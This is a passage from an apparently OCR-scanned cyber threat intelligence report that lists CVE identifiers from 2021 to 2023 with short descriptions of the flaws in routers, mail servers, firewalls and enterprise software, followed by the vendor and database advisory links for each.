- CVE-2021-45105 Apache Log4j2 does not always protect from infinite recursion in

lookup evaluation
- CVE-2021-45382 D-Link Multiple Routers Remote Code Execution Vulnerability
- CVE-2021-45511 NETGEAR devices Authentication Bypass Vulnerability
- CVE-2021-45653 Certain NETGEAR devices are affected by disclosure of sensitive

information
- CVE-2021-45837 TerraMaster TOS 4.2.15 Remote Code Execution Vulnerability
- CVE-2021-46422 Telesquare SDT-CW3B1 1.1.0 allows a remote attacker to

execute OS commands without any authentication.
- CVE-2021-45467 CWP CentOS Web Panel - preauth Remote Code Execution
- CVE-2022-0185 Linux Kernel Vulnerability in NetApp Products
- CVE-2022-0543 Redis Vulnerability in NetApp Products

- CVE-2022-0609 Use after free in Animation in Google Chrome prior (Zero Day)
- CVE-2022-0847 Linux Kernel Privilege Escalation Vulnerability

- CVE-2022-1040 An authentication bypass vulnerability in Sophos Firewall version
v18.5 (Zero Day)
- CVE-2022-1388 F5 BIG-IP undisclosed requests may bypass iControl REST

authentication

- CVE-2022-2294 WebRTC Heap Buffer Overflow Vulnerability

- CVE-2022-3038 Use after free in Network Service in Google Chrome prior to
105.0.5195.52

- CVE-2022-3236 Sophos Firewall Code Injection Vulnerability

- CVE-2022-3590 WordPress Unauthenticated Blind SSRF via DNS Rebinding

- CVE-2022-3723 Type confusion in V8 in Google Chrome prior to 107.0.5304.87

allowed a remote attacker to potentially exploit heap corruption via a crafted HTML

page
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CVE-2022-4135 Heap buffer overflow in GPU in Google Chrome prior to
107.0.5304.121
CVE-2022-4257 A vulnerability was found in C-DATA Web Management System

The manipulation of the argument hostname leads to argument injection
CVE-2022-4262 Zimbra Collaboration (ZCS) 8.8.15 and 9.0 cpio loophole that can

lead to incorrect access to any other user accounts
CVE-2022-20707 Cisco Small Business RV Series Routers Vulnerabilities
CVE-2022-21587 Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File

Upload

CVE-2022-21882 Win32k Elevation of Privilege Vulnerability

CVE-2022-21894 Secure Boot Security Feature Bypass Vulnerability
CVE-2022-21999 Windows Print Spooler Elevation of Privilege Vulnerability
CVE-2022-22005 Microsoft SharePoint Server Remote Code Execution Vulnerability
CVE-2022-22047 Microsoft Windows Client Server Runtime Subsystem (CSRSS)

Privilege Escalation Vulnerability (Zero Day)
CVE-2022-22706 Arm Mali GPU Kernel Driver allows a non-privileged user to

achieve write access to read-only memory pages

CVE-2022-22720 HTTP request smuggling vulnerability in Apache HTTP Server
2.4.52 and earlier

CVE-2022-22721 Integer overflow vulnerability in Apache HTTP Server on 32-bit
systems with LimitXMLRequestBody over 350MB

CVE-2022-22947 VMware Spring Cloud Gateway Code Injection Vulnerability
CVE-2022-22948 VMware vCenter Server Incorrect Default File Permissions

Vulnerability
CVE-2022-22954 Server-side Template Injection Remote Code Execution

Vulnerability

CVE-2022-22957 IDBC Injection Remote Code Execution Vulnerabilities
CVE-2022-22958 JDBC Injection Remote Code Execution Vulnerabilities
CVE-2022-22960 VMware workstation Local Privilege Escalation Vulnerability
CVE-2022-22965 Spring Framework RCE via Data Binding on JDK 9+
CVE-2022-23748 Audinate Response to Dante Discovery (mDNSResponder.exe)

Security Issue

CVE-2022-23943 Out-of-bounds write vulnerability in mod_sed module of Apache
HTTP Server

CVE-2022-24086 Improper Input Validation (CWE-20)
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- CVE-2022-24521 Windows Common Log File System Driver Elevation of Privilege
Vulnerability

- CVE-2022-24663 PHP Everywhere Remote Code Execution Vulnerability

- CVE-2022-24664 PHP Everywhere Remote Code Execution Vulnerability

- CVE-2022-24665 PHP Everywhere Remote Code Execution Vulnerability

- CVE-2022-24682 Zimbra Collaboration Joule 8.8.15 XSS vulnerability (Zero Day)

- CVE-2022-24706 Apache CouchDB Insecure Default Initialization of Resource

Vulnerability
- CVE-2022-24785 Moment.js Path Traversal Vulnerability

- CVE-2022-24847 INDI lookup vulnerability in GeoServer allowing remote code

execution

- CVE-2022-24934 wpsupdater.exe in Kingsoft WPS Office through 11.2.0.10382

allows remote code execution by modifying HKEY_CURRENT_USER in the registry

(Zero Day)

- CVE-2022-24990 TerraMaster TOS unauthenticated remote command execution

via PHP Object Instantiation
- CVE-2022-25064 TP-LINK TL-WR840N(ES)_V6.20_180709 Remote Code

Execution Vulnerability
- CVE-2022-25075 TOTOLink A3000RU Has an command injection vulnerability
- CVE-2022-25076 TOTOLink ASOOR V4.1.2cu.5137_B20200730 Has an command

injection vulnerability
- CVE-2022-25077 TOTOLink A3100R V4.1.2cu.5050 _B20200504 Has an command

injection vulnerability

- CVE-2022-25078 TOTOLink A3600R V4.1.2cu.5182_B20201102 Has an command

injection vulnerability
- CVE-2022-25079 TOTOLink A810R V4.1.2cu.5182_B20201026 Has an command

injection vulnerability
- CVE-2022-25080 TOTOLink A830 Has an command injection vulnerability
- CVE-2022-25081 TOTOLink T10 V5.9¢.5061_B20200511 Has an command

injection vulnerability
- CVE-2022-25082 TOTOLink A950RG Has an command injection vulnerability
- CVE-2022-25083 TOTOLink A860R V4.1.2cu.5182_B20201027 Has an command

injection vulnerability
- CVE-2022-25084 TOTOLink T6 V5.9¢.4085_B20190428 Has an command injection

vulnerability
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- CVE-2023-25194 POSSIBLE RCE/DENIAL OF SERVICE ATTACK VIA SASL JAAS
JNDILOGINMODULE CONFIGURATION USING APACHE KAFKA CONNECT API

- CVE-2022-26134 Remote code execution via OGNL injection in Confluence Server
& Data Center (Zero Day)

- CVE-2022-26138 Atlassian Questions For Confluence App Hard-coded Credentials
Vulnerability

- CVE-2022-26186 TOTOLINK N600R was discovered to contain a command

injection vulnerability

- CVE-2022-26210 TOTOLINK A830R was discovered to contain a command

injection vulnerability
- CVE-2022-26352 DotCMS Remote Code Execution Vulnerability
- CVE-2022-26500 Veeam Backup & Replication Remote Code Execution

Vulnerability
- CVE-2022-26501 Veeam Backup & Replication Remote Code Execution

Vulnerability
- CVE-2022-26504 Veeam Backup & Replication Remote Code Execution

Vulnerability
- CVE-2022-26923 Microsoft Active Directory Domain Services Privilege Escalation

Vulnerability
- CVE-2022-27255 Realtek eCos SDK-based routers, the ‘SIP ALG" module is

vulnerable to buffer overflow
- CVE-2022-27593 Certain QNAP NAS running Photo Station with internet exposure
- CVE-2022-27666 buffer overflow in IPsec ESP transformation code

- CVE-2022-27924 Zimbra Memcached poisoning with unauthenticated request

(Zero Day)
- CVE-2022-27925 Zimbra Remote Code Execution through mboximport from

authenticated user (Zero Day)
- CVE-2022-27926 Zimbra Collaboration (aka ZCS) endpoint URL accepts

parameters without sanitizing it caused XSS vulnerability.
- CVE-2022-28615 Out-of-bounds read in ap_strcmp_match function of Apache
HTTP Server
- CVE-2022-29464 WSO2 Multiple Products Unrestrictive Upload of File Vulnerability
- CVE-2022-29499 MiVoice Connect Data Validation Vulnerability
- CVE-2022-30023 Tenda ONT GPON AC1200 Dual band WiFi HG9 v1.0.1 is

vulnerable to Command Injection
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- CVE-2022-30075 Authenticated Remote Code Execution in Tp-Link Routers
- CVE-2022-30190 Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code

Execution Vulnerability (Zero Day)
- CVE-2022-30333 vulnerability is a path-traversal issue in unRAR that can extract

an arbitrary file to an arbitrary location (Zero Day)

- CVE-2022-30525 Zyxel security for OS command injection vulnerability of firewalls
- CVE-2022-31137 Roxy-WTI is Versions prior to 6.1.1.0 are subject to a remote code

execution vulnerability

- CVE-2022-31199 Remote code execution vulnerabilities exist in the Netwrix
Auditor
- CVE-2022-31446 Tenda AC18 router Arbitrary Remote Command Execution

Vulnerability
- CVE-2022-31704 VMware vRealize Log Insight broken access control Vulnerability

- CVE-2022-31706 VMware vRealize Log Insight Directory Traversal Vulnerability

- CVE-2022-31711 VMware vRealize Log Insight contains an Information Disclosure

Vulnerability
- CVE-2022-31813 Authentication bypass via X-Forwarded-* headers in Apache
HTTP Server
- CVE-2022-31814 pfSense pfBlockerNG Unauth RCE Vulnerability
- CVE-2022-33891 Apache Spark shell command injection vulnerability via Spark UI
- CVE-2022-34538 Digital Watchdog DW MEGApix IP cameras A7.2.2_20211029

was contain a command injection vulnerability in the component

- CVE-2023-35042 GeoServer RCE due to improper control of generation of code in

jai-ext " Jiffle’ map algebra language
- CVE-2022-35555 Tenda W6 Command Injection Vulnerability
- CVE-2022-35733 UNIMO Technology digital video recorders vulnerable to missing

authentication for critical functions

- CVE-2022-36267 In Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists

a Unauthenticated remote command injection vulnerability

- CVE-2022-36760 HTTP request smuggling vulnerability in mod_proxy_ajp of
Apache HTTP Server
- CVE-2022-37042 Zimbra Authentication Bypass in MailboxImportServlet (Zero

Day)
- CVE-2022-37061 FLIR AX8 thermal sensor cameras version up to and including

1.46.16 are vulnerable to Remote Command Injection
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- CVE-2022-38028 Microsoft Windows Print Spooler Privilege Escalation Vulnerability
- CVE-2022-38181 The Arm Mali GPU kernel driver allows unprivileged users to

access freed memory because GPU memory operations are mishandled
- CVE-2022-38511 TOTOLINK A810R V5.9¢.4050_B20190424 command injection
- CVE-2022-39197 XSS (Cross Site Scripting) vulnerability
- CVE-2022-39952 FortiNAC - External Control of File Name or Path in keyUpload

scriptlet
- CVE-2022-40475 TOTOLINK A860R V4.1.2cu.5182_B20201027 command

injection
- CVE-2022-40684 FortiOS / FortiProxy / FortiSwitchManager - Authentication

bypass on administrative interface

- CVE-2022-40881 SolarView Compact Command Execution Vulnerability
- CVE-2022-41040 Microsoft Exchange Server Elevation of Privilege Vulnerability

(Zero Day)
- CVE-2022-41049 Windows Mark of the Web Security Feature Bypass Vulnerability

(Zero Day)
- CVE-2022-41080 Microsoft Exchange Server Elevation of Privilege Vulnerability
- CVE-2022-41082 Microsoft Exchange Server Remote Code Execution Vulnerability

(Zero Day)
- CVE-2022-41091 Windows Mark of the Web Security Feature Bypass Vulnerability

(Zero Day)
- CVE-2022-41128 Windows Scripting Languages Remote Code Execution

Vulnerability (Zero Day)
- CVE-2022-41328 Fortinet FortiOS Path Traversal Vulnerability

- CVE-2022-41352 An attacker can use cpio package to gain incorrect access to any

other user accounts. Zimbra recommends pax over cpio.

- CVE-2022-42455 Vulnerabilities in ASUS EC Tool driver ioctl handler in Armoury

Crate Throttle Gear Merge Module versions 5.3.4.0 and earlier

- CVE-2022-42475 FortiOS SSL-VPN allow a remote unauthenticated attacker to

execute arbitrary code or commands

- CVE-2022-42856 i0S 16.1.2 is Processing maliciously crafted web content may

lead to arbitrary code execution
- CVE-2022-42897 Array Networks AG/vxAG with ArrayOS AG before 9.4.0.469
allows unauthenticated command injection that leads to privilege escalation and

control of the system. NOTE: ArrayOS AG 10.x is unaffected
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https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42455
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42455
https://www.fortiguard.com/psirt/FG-IR-22-398
https://www.fortiguard.com/psirt/FG-IR-22-398
https://support.apple.com/en-us/HT213516
https://support.apple.com/en-us/HT213516
https://support.arraynetworks.net/prx/001/http/supportportal.arraynetworks.net/documentation/FieldNotice/Array_Networks_Security_Advisory_Remote_Injection_Vulnerability_in_Array_VPN_Product_ID-11961_%20V2.1.pdf
https://support.arraynetworks.net/prx/001/http/supportportal.arraynetworks.net/documentation/FieldNotice/Array_Networks_Security_Advisory_Remote_Injection_Vulnerability_in_Array_VPN_Product_ID-11961_%20V2.1.pdf
https://support.arraynetworks.net/prx/001/http/supportportal.arraynetworks.net/documentation/FieldNotice/Array_Networks_Security_Advisory_Remote_Injection_Vulnerability_in_Array_VPN_Product_ID-11961_%20V2.1.pdf

Cyber Threat Intelligence Report

- CVE-2022-44698 Windows SmartScreen Security Feature Bypass Vulnerability

(Zero Day)

- CVE-2022-46169 Command injection vulnerability allows an unauthenticated user

to execute arbitrary code on a server running Cacti

- CVE-2022-47966 Security advisory for remote code execution vulnerability in

multiple ManageEngine products
- CVE-2022-47986 IBM Aspera Faspex 4.4.2 Patch Level 1 and earlier could allow a

remote attacker to execute arbitrary code on the system

- CVE-2022-48323 Sunlogin Sunflower Simplified is vulnerable to unauthenticated

attacker can execute arbitrary programs
- CVE-2023-0266 A use after free vulnerability exists in the ALSA PCM package

(Zero Day)
- CVE-2023-0669 Fortra GoAnywhere MFT suffers from a pre-authentication

command injection vulnerability

- CVE-2023-1389 Unauthenticated Command Injection in TP-Link Archer AX21
(AX1800) (Zero Day)

- CVE-2023-2359 The Slider Revolution WordPress plugin Remote Code Execution

Vulnerability
- CVE-2023-2868 Barracuda Email Security Gateway Appliance (ESG) Vulnerability

(Zero Day)

- CVE-2023-2982 WordPress Social Login and Register (Discord, Google, Twitter,
LinkedIn) <= 7.6.4 - Authentication Bypass

- CVE-2023-3079 Google Chromium V8 Type Confusion Vulnerability

- CVE-2023-3308 whaleal IceFrog 1.1.8 Aviator Template Engine deserialization
- CVE-2023-3368 Chamilo LMS Command Execution Vulnerability

- CVE-2023-3169 tagDiv Composer < 4.2 - Unauthenticated Stored XSS

- CVE-2023-3420 Google Chromium V8 Type Confusion Vulnerability

- CVE-2023-3466 Reflected Cross-Site Scripting (XSS) (Zero Day)

- CVE-2023-3467 Privilege Escalation to root administrator (nsroot) (Zero Day)
- CVE-2023-3519 Citrix NetScaler ADC and NetScaler Gateway Unauthenticated

remote code execution (Zero Day)
- CVE-2023-3852 OpenRapid RapidCMS Arbitrary File Upload Vulnerability
- CVE-2023-4166 Tongda OA SQL Injection Vulnerability
- CVE-2023-4911 glibc: buffer overflow in Id.so leading to privilege escalation
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https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-44698
https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html
https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html
https://www.ibm.com/support/pages/node/6952319
https://www.ibm.com/support/pages/node/6952319
https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672
https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672
https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html
https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1
https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1
https://www.tenable.com/security/research/tra-2023-11
https://www.tenable.com/security/research/tra-2023-11
https://cvepremium.circl.lu/cve/CVE-2023-2359
https://cvepremium.circl.lu/cve/CVE-2023-2359
https://status.barracuda.com/incidents/34kx82j5n4q9
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/miniorange-login-openid/wordpress-social-login-and-register-discord-google-twitter-linkedin-764-authentication-bypass
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/miniorange-login-openid/wordpress-social-login-and-register-discord-google-twitter-linkedin-764-authentication-bypass
https://cvepremium.circl.lu/cve/CVE-2023-3079
https://cvepremium.circl.lu/cve/CVE-2023-3308
https://cvepremium.circl.lu/cve/CVE-2023-3368
https://wpscan.com/vulnerability/e6d8216d-ace4-48ba-afca-74da0dc5abb5/
https://cvepremium.circl.lu/cve/CVE-2023-3420
https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
https://cvepremium.circl.lu/cve/CVE-2023-3852
https://cvepremium.circl.lu/cve/CVE-2023-4166
https://bugzilla.redhat.com/show_bug.cgi?id=2238352

Cyber Threat Intelligence Report

- CVE-2023-4966 Multiple vulnerabilities have been discovered in NetScaler ADC

(formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway)
- CVE-2023-5631 cross-site scripting (XSS) vulnerability in handling of SVG in HTML

messages (Zero Day)
- CVE-2023-6000 Unauthenticated Stored XSS
- CVE-2023-7102 Spreadsheet::ParseExcel Remote Code Execution (RCE)

Vulnerability (Zero Day)
- CVE-2023-20118 Cisco Small Business RV Series Routers Command Injection

Vulnerability
- CVE-2023-20198 Cisco I0S XE Web UI Privilege Escalation Vulnerability

- CVE-2023-20269 Cisco Adaptive Security Appliance and Firepower Threat Defense

Unauthorized Access Vulnerability
- CVE-2023-20263 Cisco HyperFlex HX Data Platform Open Redirect Vulnerability
- CVE-2023-20273 Cisco I0S XE Web UI Command Injection Vulnerability
- CVE-2023-20867 VMware Tools Authentication Bypass Vulnerability
- CVE-2023-21716 Microsoft Word Remote Code Execution Vulnerability
- CVE-2023-21742 Microsoft SharePoint Server Remote Code Execution Vulnerability
- CVE-2023-21746 Windows NTLM Elevation of Privilege Vulnerability
- CVE-2023-21839 Oracle Weblogic PreAuth Remote Command Execution
- CVE-2023-21932 Oracle Hospitality OPERA 5 Property Services Vulnerability
- CVE-2023-22069 Oracle WeblLogic Server Remote Code Execution Vulnerability
- CVE-2023-22515 Atlassian Confluence Data Center and Server Broken Access

Control Vulnerability (Zero Day)

- CVE-2023-22518 Improper Authorization in Confluence Data Center and Server
- CVE-2023-22524 RCE Vulnerability in Atlassian Companion App for MacOS

- CVE-2023-22527 Atlassian Confluence Data Center and Server Template Injection

Vulnerability
- CVE-2023-23295 Multiple Vulnerabilities in Korenix JetWave Series
- CVE-2023-23333 SolarView Compact Command Execution Vulnerability
- CVE-2023-23397 Microsoft Outlook Elevation of Privilege Vulnerability (Zero Day)
- CVE-2023-24055 Password Manager Leak Bug
- CVE-2023-24229 DrayTek Vigor2960 Command Execution Vulnerability
- CVE-2023-24489 Citrix Content Collaboration ShareFile Improper Access Control

Vulnerability
- CVE-2023-24880 Windows SmartScreen Security Feature Bypass Vulnerability
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https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967
https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054079
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054079
https://wpscan.com/vulnerability/cdb3a8bd-4ee0-4ce0-9029-0490273bcfc8/
https://www.cve.org/CVERecord?id=CVE-2023-7102
https://www.cve.org/CVERecord?id=CVE-2023-7102
https://cvepremium.circl.lu/cve/CVE-2023-20118
https://cvepremium.circl.lu/cve/CVE-2023-20118
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ravpn-auth-8LyfCkeC
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ravpn-auth-8LyfCkeC
https://cvepremium.circl.lu/cve/CVE-2023-20263
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
https://cvepremium.circl.lu/cve/CVE-2023-20867
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21716
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21742
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21746
https://www.oracle.com/security-alerts/cpujan2023.html
https://cvepremium.circl.lu/cve/CVE-2023-21932
https://cvepremium.circl.lu/cve/CVE-2023-22069
https://confluence.atlassian.com/security/cve-2023-22515-broken-access-control-vulnerability-in-confluence-data-center-and-server-1295682276.html
https://confluence.atlassian.com/security/cve-2023-22515-broken-access-control-vulnerability-in-confluence-data-center-and-server-1295682276.html
https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html
https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html
https://cvepremium.circl.lu/cve/CVE-2023-22524
https://jira.atlassian.com/browse/CONFSERVER-93833
https://jira.atlassian.com/browse/CONFSERVER-93833
https://cyberdanube.com/en/en-multiple-vulnerabilities-in-korenix-jetwave-series/
https://cvepremium.circl.lu/cve/CVE-2023-23333
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
https://sourceforge.net/p/keepass/feature-requests/2773/
https://cvepremium.circl.lu/cve/CVE-2023-24229
https://support.sharefile.com/s/article/ShareFile-StorageZones-Controller-Security-Update-for-CVE-2023-24489
https://support.sharefile.com/s/article/ShareFile-StorageZones-Controller-Security-Update-for-CVE-2023-24489
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24880

Cyber Threat Intelligence Report

- CVE-2023-25157 OGC Filter SQL Injection Vulnerabilities

- CVE-2023-25690 Oracle Hospitality OPERA 5 Property Services Vulnerability

- CVE-2023-25717 RUCKUS AP Web Vulnerability (RCE/CSRF)

- CVE-2023-26360 Adobe ColdFusion Deserialization of Untrusted Data Vulnerability

- CVE-2023-26469 Jorani Path Traversal Vulnerability

- CVE-2023-26801 LB-LINK BL-AC1900_2.0 v1.0.1, LB-LINK BL-WR9000 v2.4.9,
LB-LINK BL-X26 v1.2.5, and LB-LINK BL-LTE300 v1.0.8 were discovered to contain

a command injection vulnerability via the mac, timel, and time2 parameters at

/goform/set_LimitClient_cfg

- CVE-2023-26802 An issue in the component /network_config/nsg_masq.cgi of
DCN (Digital China Networks) DCBI-Netlog-LAB v1.0 allows attackers to bypass

authentication and execute arbitrary commands via a crafted request
- CVE-2023-27076 Command injection vulnerability found in Tenda G103 v.1.0.0.5

allows attacker to execute arbitrary code via a the language parameter
- CVE-2023-27240 Tenda AX3 V16.03.12.11 Command Injection Vulnerability
- CVE-2023-27350 Remote Code Execution vulnerability (Zero Day)
- CVE-2023-27351 User account data vulnerability (Zero Day)

- CVE-2023-27524 Apache Superset Insecure Default Initialization of Resource

Vulnerability
- CVE-2023-27532 Vulnerability in Veeam Backup & Replication component allows

encrypted credentials stored in the configuration database to be obtained (Zero

Day)
- CVE-2024-27956 WordPress Automatic Plugin <= 3.92.0 is vulnerable to SQL

Injection

- CVE-2023-27997 Fortinet FortiOS and FortiProxy SSL-VPN Heap-Based Buffer

Overflow Vulnerability

- CVE-2023-28121 An issue in WooCommerce Payments plugin for WordPress

(versions 5.6.1 and lower) allows an unauthenticated attacker to send requests on

behalf of an elevated user, like administrator

- CVE-2023-28252 Windows Common Log File System Driver Elevation of Privilege

Vulnerability (Zero Day)
- CVE-2023-28365 UniFi applications backup file Vulnerability
- CVE-2023-28432 MinlO Information Disclosure Vulnerability
- CVE-2023-28434 MinIO Security Feature Bypass Vulnerability
- CVE-2023-28461 Arbitrary File Read Vulnerability in Array AG/vxAG
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https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf
https://cvepremium.circl.lu/cve/CVE-2023-25690
https://support.ruckuswireless.com/security_bulletins/315
https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html
https://cvepremium.circl.lu/cve/CVE-2023-26469
https://cve.circl.lu/cve/CVE-2023-26801
https://cve.circl.lu/cve/CVE-2023-26801
https://cve.circl.lu/cve/CVE-2023-26801
https://cve.circl.lu/cve/CVE-2023-26801
https://cve.circl.lu/cve/CVE-2023-26802
https://cve.circl.lu/cve/CVE-2023-26802
https://cve.circl.lu/cve/CVE-2023-26802
https://cve.circl.lu/cve/CVE-2023-27076
https://cve.circl.lu/cve/CVE-2023-27076
https://cvepremium.circl.lu/cve/CVE-2023-27240
https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
https://cvepremium.circl.lu/cve/CVE-2023-27524
https://cvepremium.circl.lu/cve/CVE-2023-27524
https://www.veeam.com/kb4424
https://www.veeam.com/kb4424
https://patchstack.com/database/vulnerability/wp-automatic/wordpress-automatic-plugin-3-92-0-unauthenticated-arbitrary-sql-execution-vulnerability?_s_id=cve
https://patchstack.com/database/vulnerability/wp-automatic/wordpress-automatic-plugin-3-92-0-unauthenticated-arbitrary-sql-execution-vulnerability?_s_id=cve
https://www.fortiguard.com/psirt/FG-IR-23-097
https://www.fortiguard.com/psirt/FG-IR-23-097
https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28252
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28252
https://cvepremium.circl.lu/cve/CVE-2023-28365
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
https://github.com/minio/minio/security/advisories/GHSA-2pxw-r47w-4p8c
https://support.arraynetworks.net/prx/001/http/supportportal.arraynetworks.net/documentation/FieldNotice/Array_Networks_Security_Advisory_for_Remote_Code_Execution_Vulnerability_AG.pdf

Cyber Threat Intelligence Report

- CVE-2023-28771 Zyxel security advisory for OS command injection vulnerability of

firewalls

- CVE-2023-29059 3CX DesktopApp through 18.12.416 has embedded malicious

code

- CVE-2023-29298 Improper Access Control
- CVE-2023-29300 Deserialization of Untrusted Data

- CVE-2023-29301 Improper Restriction of Excessive Authentication Attempts

- CVE-2023-30799 MikroTik RouterOS Administrator Privilege Escalation Vulnerability
- CVE-2023-32315 Openfire Authentication Bypass / Remote Code Execution

- CVE-2023-32784 KeePass Memory Leakage Vulnerability

- CVE-2023-33009 Zyxel security advisory for multiple buffer overflow vulnerabilities

of firewalls

- CVE-2023-33010 Zyxel security advisory for multiple buffer overflow vulnerabilities

of firewalls
- CVE-2023-33246 Apache RocketMQ 5.1.0 Arbitrary Code Injection
- CVE-2023-33510 JEECG P3 BIZ Chat Arbitrary File Read Vulnerability
- CVE-2023-34048 VMware vCenter Server Out-of-Bounds Write Vulnerability
- CVE-2023-34362 MOVEIit Transfer Critical Vulnerability (Zero Day)
- CVE-2023-34598 Gibbon Local File Inclusion (LFI) Vulnerability

- CVE-2023-34960 Chamilo wsConvertPpt component Command Execution

Vulnerability
- CVE-2023-35036 MOVEit Transfer Critical Vulnerability (Zero Day)
- CVE-2023-35078 Remote Unauthenticated API Access Vulnerability (Zero Day)
- CVE-2023-35081 Remote Arbitrary File Write (Zero Day)
- CVE-2023-35636 Microsoft Outlook Information Disclosure Vulnerability
- CVE-2023-35843 NocoDB Path Traversal Vulnerability

- CVE-2023-35885 CloudPanel Insecure file manager cookie authentication

Vulnerability
- CVE-2023-35708 MOVEit Transfer Critical Vulnerability (Zero Day)
- CVE-2023-36025 Microsoft Windows SmartScreen Security Feature Bypass

Vulnerability
- CVE-2023-36542 Apache NiFi Potential Code Injection with Properties Referencing

Remote Resources

- CVE-2023-36584 Windows Mark of the Web Security Feature Bypass Vulnerability
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https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls
https://www.3cx.com/blog/news/desktopapp-security-alert/
https://www.3cx.com/blog/news/desktopapp-security-alert/
https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
https://cvepremium.circl.lu/cve/CVE-2023-30799
https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
https://cvepremium.circl.lu/cve/CVE-2023-32784
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-buffer-overflow-vulnerabilities-of-firewalls
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-buffer-overflow-vulnerabilities-of-firewalls
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-buffer-overflow-vulnerabilities-of-firewalls
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-buffer-overflow-vulnerabilities-of-firewalls
https://www.openwall.com/lists/oss-security/2023/07/12/1
https://cvepremium.circl.lu/cve/CVE-2023-33510
https://cvepremium.circl.lu/cve/CVE-2023-34048
https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
https://cvepremium.circl.lu/cve/CVE-2023-34598
https://cvepremium.circl.lu/cve/CVE-2023-34960
https://cvepremium.circl.lu/cve/CVE-2023-34960
https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-CVE-2023-35036-June-9-2023
https://forums.ivanti.com/s/article/CVE-2023-35078-Remote-unauthenticated-API-access-vulnerability?language=en_US
https://forums.ivanti.com/s/article/CVE-2023-35081-Arbitrary-File-Write?language=en_US
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35636
https://cvepremium.circl.lu/cve/CVE-2023-35843
https://cvepremium.circl.lu/cve/CVE-2023-35885
https://cvepremium.circl.lu/cve/CVE-2023-35885
https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-15June2023
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025
https://cvepremium.circl.lu/cve/CVE-2023-36542
https://cvepremium.circl.lu/cve/CVE-2023-36542
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36584

Cyber Threat Intelligence Report “

- CVE-2023-36802 Microsoft Streaming Service Proxy Elevation of Privilege
Vulnerability

